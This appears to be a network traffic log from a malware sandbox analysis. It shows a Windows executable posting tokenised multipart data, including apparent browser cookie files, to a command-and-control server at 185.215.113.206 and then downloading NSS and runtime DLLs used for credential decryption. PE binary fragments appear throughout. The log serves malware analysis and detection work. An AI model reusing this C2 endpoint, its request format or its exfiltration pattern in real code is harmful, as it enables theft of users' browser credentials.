Oct 31, 2024 01:18:19.381877899 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:19 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49783	185.215.113.206	80	2232	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:18:31.036317110 CET	202	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKFHIIEHIEGDHJJJKFII Host: 185.215.113.206 Content-Length: 991 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 01:18:31.036581993 CET	991	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 38 66 34 65 Data Ascii: ------JKFHIIEHIEGDHJJJKFIIContent-Disposition: form-data; name="token"a78f4e4cd9e19deb04ca9b97954c13468b1990d21d7f67b008fca4244d0799088cde5b2e------JKFHIIEHIEGDHJJJKFIIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb
Oct 31, 2024 01:18:32.403371096 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 01:18:32.535069942 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFCBFHJECAKEHIECGIEB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 43 42 46 48 4a 45 43 41 4b 45 48 49 45 43 47 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 38 66 34 65 34 63 64 39 65 31 39 64 65 62 30 34 63 61 39 62 39 37 39 35 34 63 31 33 34 36 38 62 31 39 39 30 64 32 31 64 37 66 36 37 62 30 30 38 66 63 61 34 32 34 34 64 30 37 39 39 30 38 38 63 64 65 35 62 32 65 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 42 46 48 4a 45 43 41 4b 45 48 49 45 43 47 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 42 46 48 4a 45 43 41 4b 45 48 49 45 43 47 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CFCBFHJECAKEHIECGIEBContent-Disposition: form-data; name="token"a78f4e4cd9e19deb04ca9b97954c13468b1990d21d7f67b008fca4244d0799088cde5b2e------CFCBFHJECAKEHIECGIEBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CFCBFHJECAKEHIECGIEBContent-Disposition: form-data; name="file"------CFCBFHJECAKEHIECGIEB--
Oct 31, 2024 01:18:33.306713104 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49962	185.215.113.206	80	2232	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:18:48.095773935 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFBAECBAEGDGDHIEHIJJ Host: 185.215.113.206 Content-Length: 8163 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 01:18:48.095818996 CET	8163	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 38 66 34 65 Data Ascii: ------KFBAECBAEGDGDHIEHIJJContent-Disposition: form-data; name="token"a78f4e4cd9e19deb04ca9b97954c13468b1990d21d7f67b008fca4244d0799088cde5b2e------KFBAECBAEGDGDHIEHIJJContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Oct 31, 2024 01:18:49.474643946 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 01:18:49.747905970 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJECAEHJJJKJKFIDGCBG Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 38 66 34 65 34 63 64 39 65 31 39 64 65 62 30 34 63 61 39 62 39 37 39 35 34 63 31 33 34 36 38 62 31 39 39 30 64 32 31 64 37 66 36 37 62 30 30 38 66 63 61 34 32 34 34 64 30 37 39 39 30 38 38 63 64 65 35 62 32 65 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IJECAEHJJJKJKFIDGCBGContent-Disposition: form-data; name="token"a78f4e4cd9e19deb04ca9b97954c13468b1990d21d7f67b008fca4244d0799088cde5b2e------IJECAEHJJJKJKFIDGCBGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IJECAEHJJJKJKFIDGCBGContent-Disposition: form-data; name="file"------IJECAEHJJJKJKFIDGCBG--
Oct 31, 2024 01:18:50.524054050 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 01:18:51.168447018 CET	94	OUT	GET /746f34465cf17784/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 31, 2024 01:18:51.446686983 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:51 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 31, 2024 01:18:51.446712017 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVE
Oct 31, 2024 01:18:51.446722031 CET	1236	IN	Data Raw: 85 c0 74 1e 8b 75 1c 8b 7d 14 8b 55 10 8b 4d 0c 85 ff 74 22 f2 0f 10 07 f2 0f 11 80 30 01 00 00 eb 28 68 05 e0 ff ff e8 7f 0b 08 00 83 c4 04 b8 ff ff ff ff eb 26 c7 80 34 01 00 00 a6 a6 a6 a6 c7 80 30 01 00 00 a6 a6 a6 a6 6a 10 56 6a 00 6a 00 52 Data Ascii: tu}UMt"0(h&40jVjjRQP?^_]USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8
Oct 31, 2024 01:18:51.446732998 CET	112	IN	Data Raw: 00 0f 84 98 02 00 00 8b 75 18 85 f6 0f 84 8d 02 00 00 89 54 24 34 89 44 24 30 89 f8 83 e0 f8 50 e8 88 06 08 00 83 c4 04 85 c0 0f 84 7c 02 00 00 89 c3 89 f8 c1 ef 03 8d 4f ff 89 4c 24 38 50 56 53 e8 27 07 08 00 83 c4 0c f2 0f 10 03 f2 0f 11 44 24 Data Ascii: uT$4D$0P\|OL$8PVS'D$@?@L$L$D
Oct 31, 2024 01:18:51.446777105 CET	1236	IN	Data Raw: 24 1c 00 00 00 00 89 44 24 08 c7 44 24 24 00 00 00 00 c7 44 24 20 00 00 00 00 31 d2 31 c9 89 5c 24 28 eb 24 89 c7 8b 44 24 1c 83 c0 01 83 f8 06 8b 54 24 18 8b 4c 24 14 0f 84 e2 01 00 00 89 44 24 1c 8a 44 24 07 04 ff 8b 74 24 38 0f 1f 84 00 00 00 Data Ascii: $D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$ L$$\$\$T$1%1%1T$D\|$@\|$t\$(
Oct 31, 2024 01:18:51.446788073 CET	1236	IN	Data Raw: c1 09 ca c1 fa 1f f7 db 83 e3 07 31 ff 39 d9 f7 d2 0f 44 fa 89 45 d0 89 45 dc 89 ca f7 da c1 fa 1f f7 d2 8b 45 1c 80 7c 30 f7 01 19 db 09 d3 b8 01 00 00 00 29 c8 c1 f8 1f 8b 55 1c 80 7c 32 f6 01 19 d2 f7 d0 09 c2 21 da 21 fa b8 02 00 00 00 29 c8 Data Ascii: 19DEEE\|0)U\|2!!)]\|3)\|3!)}\|7!!)U\|2)\|2!!)M\|1t/EU;U
Oct 31, 2024 01:18:51.446800947 CET	424	IN	Data Raw: 57 56 68 0c 01 00 00 e8 bf fc 07 00 83 c4 04 31 f6 85 c0 74 6c 89 c7 8b 45 08 c7 47 08 00 00 00 00 89 47 04 8b 48 04 ff 15 00 80 0a 10 ff d1 89 07 85 c0 74 31 8b 55 0c 89 f9 ff 75 14 ff 75 10 e8 17 fd ff ff 83 c4 08 85 c0 74 2c 8b 1f 85 db 74 14 Data Ascii: WVh1tlEGGHt1Uuut,tGHjSGW:G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%tUVP
Oct 31, 2024 01:18:51.446814060 CET	1148	IN	Data Raw: 15 00 80 0a 10 53 56 57 ff d1 83 c4 0c 5e 5f 5b 5d c3 cc cc 55 89 e5 53 57 56 8b 75 0c 8b 7d 10 8b 45 08 8b 18 8b 40 04 8b 48 14 ff 15 00 80 0a 10 57 56 53 ff d1 83 c4 0c 5e 5f 5b 5d c3 cc cc cc cc cc cc 55 89 e5 53 57 56 50 8b 4d 14 8b 7d 08 8b Data Ascii: SVW^_[]USWVu}E@HWVS^_[]USWVPM}G9vhuHuVuSO;upISEGHpVSu7GHES]SV7GH
Oct 31, 2024 01:18:51.446958065 CET	1236	IN	Data Raw: 3e 83 c0 02 eb b2 66 c7 86 00 01 00 00 00 00 89 f7 8b 4d f0 31 e9 e8 dd f4 07 00 89 f8 81 c4 08 01 00 00 5e 5f 5b 5d c3 55 89 e5 83 7d 0c 00 74 10 68 02 01 00 00 ff 75 08 e8 6f f6 07 00 83 c4 08 5d c3 cc cc cc cc cc 55 89 e5 56 8b 75 1c 8b 45 14 Data Ascii: >fM1^_[]U}thuo]UVuE9sh;UMVuPu^]USWV4MEE9EshyU}]E}}aM}
Oct 31, 2024 01:18:51.446968079 CET	212	IN	Data Raw: f4 e9 66 0f 70 f5 e8 66 0f 70 c9 f5 66 0f f4 cc 66 0f 70 c9 e8 66 0f 62 f1 66 0f eb f2 66 0f 6f d0 66 0f fe 15 f0 20 08 10 83 c8 08 66 0f 6e 0c 07 66 0f 60 cb 66 0f 61 cb 66 0f 72 f2 17 66 0f 6f 2d e0 20 08 10 66 0f fe d5 f3 0f 5b d2 66 0f 70 e1 Data Ascii: fpfpffpfbffof fnf`fafrfo- f[fpffpffof%!fpfpfbfnTf`faffrf[fpffpffpfpfbff!~s
Oct 31, 2024 01:18:52.414747953 CET	94	OUT	GET /746f34465cf17784/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 31, 2024 01:18:52.694202900 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:52 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 31, 2024 01:18:52.997513056 CET	95	OUT	GET /746f34465cf17784/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 31, 2024 01:18:53.289083004 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:53 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 31, 2024 01:18:53.569430113 CET	91	OUT	GET /746f34465cf17784/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 31, 2024 01:18:53.847703934 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:53 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 31, 2024 01:18:54.799983978 CET	95	OUT	GET /746f34465cf17784/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 31, 2024 01:18:55.078330040 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:54 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 31, 2024 01:18:55.241905928 CET	99	OUT	GET /746f34465cf17784/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 31, 2024 01:18:55.520565033 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:55 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 31, 2024 01:18:56.190545082 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIEHJEHDBGHIDGDGHCBG Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 01:18:56.976188898 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
